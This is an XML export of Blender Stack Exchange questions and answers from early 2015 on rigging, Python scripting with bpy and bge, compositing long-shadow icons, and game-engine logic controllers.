  <row Id="23930" PostTypeId="1" CreationDate="2015-01-28T18:00:40.607" Score="1" ViewCount="150" Body="&lt;p&gt;The models are imported&#xA;I set up the armature and then let pitchipoy generate a rig. &#xA;Rig moves nicely but&#xA;in Pose mode the mesh doesn't move at all.&#xA;The mesh has vertex groups that have been automatically generated.&#xA;If I click on &quot;select&quot; for a vertex group nothing lights up in the 3D window. (I expect the vertex groups to show up selected, but they don't)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11281" LastActivityDate="2015-01-28T18:00:40.607" Title="Rigify - pitchipoy Imported mesh collada or wavefront - no mesh movement" Tags="&lt;rigging&gt;&lt;import&gt;&lt;rigify&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23931" PostTypeId="1" AcceptedAnswerId="23932" CreationDate="2015-01-28T18:40:05.463" Score="2" ViewCount="987" Body="&lt;p&gt;Can't find the way to move model to the center via Python API. When model is imported &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.location = (0, 0, 0). &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.dimensions &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to shift model, but when model has empty spaces around - it does't work. How can I get this data or it may be a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="11231" LastEditorUserId="3710" LastEditDate="2015-01-28T19:24:29.117" LastActivityDate="2015-05-24T12:15:41.753" Title="Move imported model to the center of the scene via python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23932" PostTypeId="2" ParentId="23931" CreationDate="2015-01-28T19:22:46.077" Score="3" Body="&lt;p&gt;If you import a model, the origin is typically at &lt;code&gt;(0,0,0)&lt;/code&gt; - setting the location to the center has no effect. The trick is to set the &lt;strong&gt;geometry to the origin&lt;/strong&gt; via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.ops.object.html?highlight=origin#bpy.ops.object.origin_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;origin_set&lt;/code&gt;&lt;/a&gt; operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.origin_set(type='GEOMETRY_ORIGIN')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/24015/how-to-place-objects-on-the-center-of-the-ground-plane-via-python/24018#24018&quot;&gt;How to place objects on the center of the ground plane via python?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-05-24T12:15:41.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23934" PostTypeId="1" AcceptedAnswerId="23947" CreationDate="2015-01-28T20:32:13.193" Score="12" ViewCount="1518" Body="&lt;p&gt;I am trying to create a flat/modern looking icon. The visual style I am aiming for is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/gk29JEO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I got so far with my icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BBaUZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it is missing the fake shading and fake shadow. Is there some way I can achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTYaw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34053&quot; rel=&quot;noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="3710" LastEditDate="2015-01-29T10:48:21.500" LastActivityDate="2018-07-22T05:07:05.783" Title="How to create a long shadow icon?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23935" PostTypeId="1" CreationDate="2015-01-28T20:59:04.607" Score="2" ViewCount="254" Body="&lt;p&gt;I'm trying to use Python to create a sun lamp (in Cycles mode) and then change it's strength.  I began by performing the operations manually and then copying the Python code that was produced in the top output area.  When I then run the script, the sun lamp is created, but I get an error before the strength can be set.  Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.scene.render.engine = 'CYCLES'&#xA;bpy.ops.object.lamp_add(type='SUN', view_align=False, location=(0, 0, 0))&#xA;bpy.context.space_data.context = 'DATA'&#xA;bpy.data.node_groups[&quot;Shader Nodetree&quot;].nodes[&quot;Emission&quot;].inputs[1].default_value = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which produces this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;/Text&quot;, line 5, in &amp;lt;module&amp;gt;&#xA;AttributeError: 'SpaceTextEditor' object has no attribute 'context'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems as though the problem is that I'm not properly telling Blender what object I want to change?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The answer (thanks to poor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy   &#xA;bpy.context.scene.render.engine = 'CYCLES'&#xA;bpy.ops.object.lamp_add(type='SUN', view_align=False, location=(0, 0, 0))&#xA;bpy.context.object.data.node_tree.nodes['Emission'].inputs['Strength'].default_value=3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11283" LastEditorUserId="12" LastEditDate="2015-01-29T19:03:39.853" LastActivityDate="2015-01-29T19:03:39.853" Title="In Python, how to set the proper context in order to set the strength of a sun lamp (in Cycles)?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-01-28T23:33:57.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="23936" PostTypeId="2" ParentId="23934" CreationDate="2015-01-28T21:12:25.163" Score="4" Body="&lt;p&gt;this is a easy task if you use the compositor editor (nodes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the file with basic configuration to obtain this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nF6BA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;obviously you need to change basic configuration in order to improve some best shadows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34055&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-01-28T21:12:25.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23937" PostTypeId="1" CreationDate="2015-01-28T21:27:09.110" Score="1" ViewCount="253" Body="&lt;p&gt;I have a character that i can animate properly. I'm still new to blender but know basic animations, basic modeling, texturing and weight painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried making a seperate bone for the weapon and add both the weapon's bone and character's bones in the action editor with I but then the character moved to the weapon. I used LocRotScale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to later on use the model and animations in Unity. I've done my other characters without weapons fine with action editor with multiple animations.&lt;/p&gt;&#xA;" OwnerUserId="11011" LastActivityDate="2015-01-28T21:27:09.110" Title="How To Animate Sheathed Weapon. Sheathe, Player And Weapon Are All Seperate Objects" Tags="&lt;bones&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23939" PostTypeId="1" AcceptedAnswerId="23941" CreationDate="2015-01-28T21:59:48.700" Score="5" ViewCount="117" Body="&lt;p&gt;This is a very small question, and there is not much to explain; let me jump into it: I have my character with WSAD controls. When triggering any part of WSAD (using or controller), my animation plays. When I press A  and D, W and S, all the keys together, or any odd combo where you should not be moving (e.g. you move left and right using A and D, so you don't move), the walk animation plays. When you are not moving, you should not look like you are. How can I pass this? Should I just use an and controller for all the combos? I, for those of you who need my question in a sentence rather than context, just basically want my character to play his walk animation &lt;em&gt;only&lt;/em&gt; when moving. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-01-28T22:46:59.107" Title="Or controller problem in GE" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23941" PostTypeId="2" ParentId="23939" CreationDate="2015-01-28T22:46:59.107" Score="5" Body="&lt;p&gt;This can be best solved with a &lt;strong&gt;Xor&lt;/strong&gt; controller. You need two of them. one for &lt;em&gt;W&lt;/em&gt; and &lt;em&gt;S&lt;/em&gt;, and one for &lt;em&gt;A&lt;/em&gt; and &lt;em&gt;D&lt;/em&gt;.&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/XOR_gate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is an example of a Xor gate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlpmD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://www.pasteall.org/blend/34058&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; example.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-28T22:46:59.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23942" PostTypeId="2" ParentId="23906" CreationDate="2015-01-28T23:57:38.513" Score="6" Body="&lt;p&gt;You need something to reflect. &#xA;Currently you have white plane on the ground and grey sky. That is exactly what your material reflects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add enviroment map or sky texture.&lt;/p&gt;&#xA;" OwnerUserId="11173" LastActivityDate="2015-01-28T23:57:38.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23943" PostTypeId="1" AcceptedAnswerId="23955" CreationDate="2015-01-29T00:00:57.513" Score="1" ViewCount="1039" Body="&lt;p&gt;I'm trying to get the class of the operator I made. The operator's bl_idname is &lt;code&gt;&quot;object.primitive_manipulator&quot;&lt;/code&gt; and it's class is &lt;code&gt;Object_OT_Edit_PrimitiveManipulator&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What works (Give the correct operator as &lt;code&gt;type()=bpy.ops.BPyOpsSubModOp&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.ops.object.primitive_manipulator&lt;/code&gt; works fine.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getattr(bpy.ops.object, &quot;primitive_manipulator&quot;)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What doesn't work (Gives the wrong class as &lt;code&gt;type()=bpy.ops.BPyOpsSubMod&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.types.Object_OT_Edit_PrimitiveManipulator&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getattr(bpy.ops, &quot;object.primitive_manipulator&quot;)&lt;/code&gt; (hasattr() returns true but it doesnt show up with dir() on bpy.ops, only object does which is odd)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both of these last two are the actual methods I need to use to programmatically iterate over an array of operator strings to then get their classes and do stuff (I can use string manipulation but I'm still curious to my below question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type is this being returned by the two methods described that won't work, why don't they have any parameters, and what is their purpose?&lt;/p&gt;&#xA;" OwnerUserId="10985" LastEditorUserId="10985" LastEditDate="2015-01-29T14:18:52.017" LastActivityDate="2015-01-29T14:18:52.017" Title="Operator class retrieval" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23945" PostTypeId="2" ParentId="23934" CreationDate="2015-01-29T00:56:04.447" Score="7" Body="&lt;p&gt;I created the shadow by using a Material Index pass on the white object (a Object index pass would work for this method too).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bwKEi.png&quot; alt=&quot;icon with shadow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes in the two frames are two different methods of creating the shadow. I left both in the image because they both work, but create different shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First set up a Material Index pass of &lt;code&gt;1&lt;/code&gt; (because it is set to one there is no need for a Id mask node) on the white object in the icon.&lt;br&gt;&#xA;Onto the nodes. After the invert node, in both frames, I take the black and white Material Index pass and blur it to make a shadow. Next the &lt;em&gt;Screen&lt;/em&gt; node acts like a mask, it cuts out the shadow on the white object, by using the un-inverted Material Index pass. Then the &lt;em&gt;Multiply&lt;/em&gt; node adds the shadow over the icon.&lt;br&gt;&#xA;&lt;sub&gt;Click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aRRR6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aRRR6.png&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/542/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=542&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="56068" LastEditDate="2018-07-22T05:07:05.783" LastActivityDate="2018-07-22T05:07:05.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23947" PostTypeId="2" ParentId="23934" CreationDate="2015-01-29T01:37:42.903" Score="17" Body="&lt;p&gt;Using &lt;strong&gt;Blender Internal&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why fake it with the power of 3d at your fingertips ;)? Although these icons have a flat style, there is still some depth to them for that realistic feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a sun lamp, adjust the angle (45+ degrees is good), set it to &lt;em&gt;Ray Shadow&lt;/em&gt;, increase the soft size and samples, change the shadow color to a medium gray and enable ambient occlusion (use a small value). &lt;em&gt;You would be surprised the control you have over the shadow&lt;/em&gt;. Also increase the height of the actual logo so it can cast a longer shadow. The base object needs to catch the shadow but in your example you have it set to &lt;em&gt;Shadeless&lt;/em&gt;, if you still want that flat look, change the shader model to &lt;em&gt;Fresnel&lt;/em&gt;. Finally set the camera to an orthographic type if you don't want the final render to be affected by perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5QKFZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gy5Ai.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/145/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=145&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2018-03-13T10:59:48.310" LastActivityDate="2018-03-13T10:59:48.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23948" PostTypeId="1" CreationDate="2015-01-29T01:44:53.350" Score="1" ViewCount="148" Body="&lt;p&gt;So this is my first somewhat decent looking  character,&lt;img src=&quot;https://i.stack.imgur.com/yNHxo.png&quot; alt=&quot;Character&quot;&gt;, and I am trying to place armatures inside to see what I can do with him. However, once I finished doing what I thought would work, this happened.&lt;img src=&quot;https://i.stack.imgur.com/zQrRq.png&quot; alt=&quot;SecondCharacter&quot;&gt; Can anyone help me and tell me what I did wrong? I can post the .blend file somewhere so you guys can get a better look if you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend file link: &lt;a href=&quot;https://www.dropbox.com/s/95lo4tixzu795yn/NatureFile.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/95lo4tixzu795yn/NatureFile.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added link to .blend file&lt;/p&gt;&#xA;" OwnerUserId="7502" LastEditorUserId="7502" LastEditDate="2015-02-01T22:18:54.690" LastActivityDate="2015-02-01T23:58:51.003" Title="How do I fix certain parts of my character not moving with the armatures placed?" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23950" PostTypeId="1" CreationDate="2015-01-29T02:17:35.520" Score="4" ViewCount="85" Body="&lt;p&gt;How can I print the coordinates of resolution points of a Bezier Curve?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iI1qB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="241" LastEditDate="2015-02-04T16:53:02.987" LastActivityDate="2015-02-04T16:53:02.987" Title="Coordinates of resolution points of a Bezier Curve" Tags="&lt;python&gt;&lt;scripting&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-02-04T17:27:18.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="23951" PostTypeId="2" ParentId="23922" CreationDate="2015-01-29T04:06:06.903" Score="1" Body="&lt;p&gt;First point is that &lt;code&gt;bpy&lt;/code&gt; is &lt;strong&gt;not&lt;/strong&gt; available while the game engine is running, similarly &lt;code&gt;bge&lt;/code&gt; is &lt;strong&gt;only&lt;/strong&gt; available when the game engine is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When developing in the game engine you might find &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Console_window&quot; rel=&quot;nofollow&quot;&gt;using the console&lt;/a&gt; to be helpful. In the console you will see the following -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python script error - object 'Cube', controller 'Python':&#xA;Traceback (most recent call last):&#xA;  File &quot;Text&quot;, line 11, in &amp;lt;module&amp;gt;&#xA;KeyError: 'value = gameOb[key]: KX_GameObject, key &quot;addOne&quot; does not exist'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To expand on that, you have set &lt;code&gt;own&lt;/code&gt; as the owner of the script controller that is running the current script. The syntax of &lt;code&gt;own[&quot;xxx&quot;]&lt;/code&gt; will give you access to a game property called 'xxx'. I expect you want to access a sensor that you have named 'addOne', for this you want to use &lt;code&gt;cont.sensors['addOne']&lt;/code&gt; and you may want to use it's &lt;code&gt;positive&lt;/code&gt; property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;scene.adObject&lt;/code&gt; takes at least two arguments, the second being an object to use as the initial location when created - empties are good for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random&#xA;from bge import logic&#xA;&#xA;cont = logic.getCurrentController()&#xA;own = cont.owner&#xA;scene = logic.getCurrentScene()&#xA;&#xA;if cont.sensors['addOne'].positive:&#xA;    scene.addObject(&quot;Sphere&quot;,&quot;Empty&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-29T04:06:06.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23952" PostTypeId="1" AcceptedAnswerId="23956" CreationDate="2015-01-29T04:21:01.067" Score="1" ViewCount="1558" Body="&lt;p&gt;I read the original &lt;a href=&quot;https://blender.stackexchange.com/questions/7770/reset-opengl-lights&quot;&gt;Reset OpenGL lights&lt;/a&gt;, I understand, but I don't do Python. &#xA;How would I &quot;reset&quot; my settings as shown?&#xA;I've had trouble with these forever, so my Solid lighting as I work is bizarre. Even with a new startup they're kaflooey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added bonus: How to &quot;put back&quot; the settings I have now if I screw up?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-30T13:59:32.173" Title="How to reset OpenGl for Solid lighting?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;opengl&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23953" PostTypeId="1" CreationDate="2015-01-29T04:31:29.287" Score="0" ViewCount="35" Body="&lt;p&gt;How do you determine an errant origin point's object? This presumes there are many overlaying objects.&lt;/p&gt;&#xA;" OwnerUserId="739" LastActivityDate="2015-01-29T04:31:29.287" Title="how to determine an errant origin point's object?" Tags="&lt;vertices&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="23954" PostTypeId="1" CreationDate="2015-01-29T04:57:45.783" Score="1" ViewCount="412" Body="&lt;p&gt;I am trying to rotate a circle, using the cursor as the point of rotation for 45 degrees. The cursor doesn't need to be a point of rotation, I just need rotate an object for predetermined angle and around a predetermined point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code and all it is doing is rotating the cursor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import sin, cos, pi&#xA;&#xA;&#xA;def rotation():&#xA;    xlocation = 1&#xA;    ylocation = 1&#xA;    zlocation = 0&#xA;&#xA;    bpy.ops.curve.primitive_bezier_circle_add(radius=.1, view_align=False, enter_editmode=False, location=(1, 1, 0), )&#xA;&#xA;    bpy.ops.object.select_all(action='TOGGLE')&#xA;    bpy.ops.object.select_all(action='DESELECT')    &#xA;    bpy.ops.object.select_pattern(pattern = &quot;BezierCircle*&quot; ,case_sensitive = False, extend = False)&#xA;    bpy.context.scene.objects.active = bpy.data.objects[&quot;BezierCircle&quot;]&#xA;&#xA;    bpy.context.scene.cursor_location[0] = 3&#xA;    bpy.context.scene.cursor_location[1] = 1&#xA;    bpy.context.scene.cursor_location[2] = 0&#xA;&#xA;    set_pivot_point('CURSOR')&#xA;&#xA;    bpy.ops.transform.rotate( value=1.5708/2, axis=(-0, -0, -1), constraint_axis=(False, False, False), constraint_orientation='NORMAL', mirror=False, proportional='ENABLED', proportional_edit_falloff='SMOOTH', proportional_size=1.331, release_confirm=True)&#xA;&#xA;    return ()&#xA;&#xA;def set_pivot_point(type):&#xA;&#xA;    if type not in ('BOUNDING_BOX_CENTER', 'CURSOR', 'INDIVIDUAL_ORIGINS','MEDIAN_POINT', 'ACTIVE_ELEMENT'):&#xA;        return False&#xA;&#xA;    for a in bpy.context.screen.areas:&#xA;        if a.type == 'VIEW_3D':&#xA;            break&#xA;        else:&#xA;            return False&#xA;&#xA;    a.spaces[0].pivot_point = type&#xA;    return True&#xA;&#xA;rotation()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11292" LastEditorUserId="29" LastEditDate="2015-01-29T06:27:05.993" LastActivityDate="2015-01-29T06:27:05.993" Title="Blender v2.72: Rotating an object to a predetermined angle using the cursor as the point of rotation" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23955" PostTypeId="2" ParentId="23943" CreationDate="2015-01-29T07:56:16.530" Score="8" Body="&lt;p&gt;The actual operator class is only accessible if it's defined in the same script, or imported from another file. It's not a standard Python class however, because it is derived from the Operator type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class PrimitiveManipulatorOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.primitive_manipulator&quot;&#xA;    bl_label = &quot;Primitive Manipulator&quot;&#xA;&#xA;    def execute(self, context):&#xA;        return {'FINISHED'}&#xA;&#xA;type(PrimitiveManipulatorOperator) # returns &amp;lt;class 'bpy_types.OrderedMeta'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon class registration of an operator class, it is made available as type as &lt;code&gt;bpy.types.OBJECT_OT_primitive_manipulator&lt;/code&gt; (which is the &lt;code&gt;bl_idname&lt;/code&gt; transformed from Python to C notation):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_class(PrimitiveManipulatorOperator)&#xA;&#xA;    # returns &amp;lt;class 'bpy_types.OrderedMeta'&amp;gt;&#xA;    print(type(bpy.types.OBJECT_OT_primitive_manipulator))&#xA;&#xA;    # fails, the class name isn't used in case of operators&#xA;    print(type(bpy.types.PrimitiveManipulatorOperator))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The interface to call operators is via &lt;code&gt;bpy.ops&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.primitive_manipulator()&#xA;&#xA;# returns &amp;lt;class 'bpy.ops.BPyOpsSubModOp'&amp;gt;&#xA;type(bpy.ops.object.primitive_manipulator())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can be confusing about &lt;code&gt;bpy.ops&lt;/code&gt; (which is &lt;code&gt;&amp;lt;class 'bpy.ops.BPyOps'&amp;gt;&lt;/code&gt;), is that &lt;code&gt;hasattr()&lt;/code&gt; will always return &lt;code&gt;True&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hasattr(bpy.ops, &quot;object.primitive_manipulator&quot;) # True&#xA;hasattr(bpy.ops, &quot;foobar&quot;) # also True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is caused by the design of this module-like class and presumably necessary to make proper calls work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to programmatically get a reference to the operator for a call is to &lt;code&gt;getattr()&lt;/code&gt; twice, as you want to retrieve a property and its sub-property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op = getattr(getattr(bpy.ops, &quot;object&quot;), &quot;primitive_manipulator&quot;)&#xA;op() # equivalent to bpy.ops.object.primitive_manipulator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getattr(bpy.ops, &quot;object.primitive_manipulator&quot;)&lt;/code&gt; can't work because there is no property &lt;code&gt;&quot;object.primitive_manipulator&quot;&lt;/code&gt;, there's only &lt;code&gt;&quot;object&quot;&lt;/code&gt;, which in turn has the property &lt;code&gt;&quot;primitive_manipulator&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; type(getattr(bpy.ops, &quot;object&quot;))&#xA;&amp;lt;class 'bpy.ops.BPyOpsSubMod'&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; type(getattr(bpy.ops, &quot;foo.bar&quot;))&#xA;&amp;lt;class 'bpy.ops.BPyOpsSubMod'&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; type(getattr(getattr(bpy.ops, &quot;object&quot;), &quot;primitive_manipulator&quot;))&#xA;&amp;lt;class 'bpy.ops.BPyOpsSubModOp'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to resolve the operator name in a loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_operator(idname):&#xA;    op = bpy.ops&#xA;    for attr in idname.split(&quot;.&quot;):&#xA;        op = getattr(op, attr)&#xA;    return op&#xA;&#xA;get_operator(&quot;object.primitive_operator&quot;)()&#xA;&#xA;# if there's a poll() classmethod, you can also:&#xA;get_operator(&quot;object.primitive_operator.poll&quot;)()&#xA;&#xA;&#xA;# return a blank function to suppress AttributeErrors&#xA;# in case the operator idname does not exist&#xA;def get_operator_failsafe(idname):&#xA;    op = bpy.ops&#xA;    for attr in idname.split(&quot;.&quot;):&#xA;        if attr not in dir(op):&#xA;            return lambda: None&#xA;        op = getattr(op, attr)&#xA;    return op&#xA;&#xA;get_operator_failsafe(&quot;foo.bar&quot;)()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-01-29T07:56:16.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
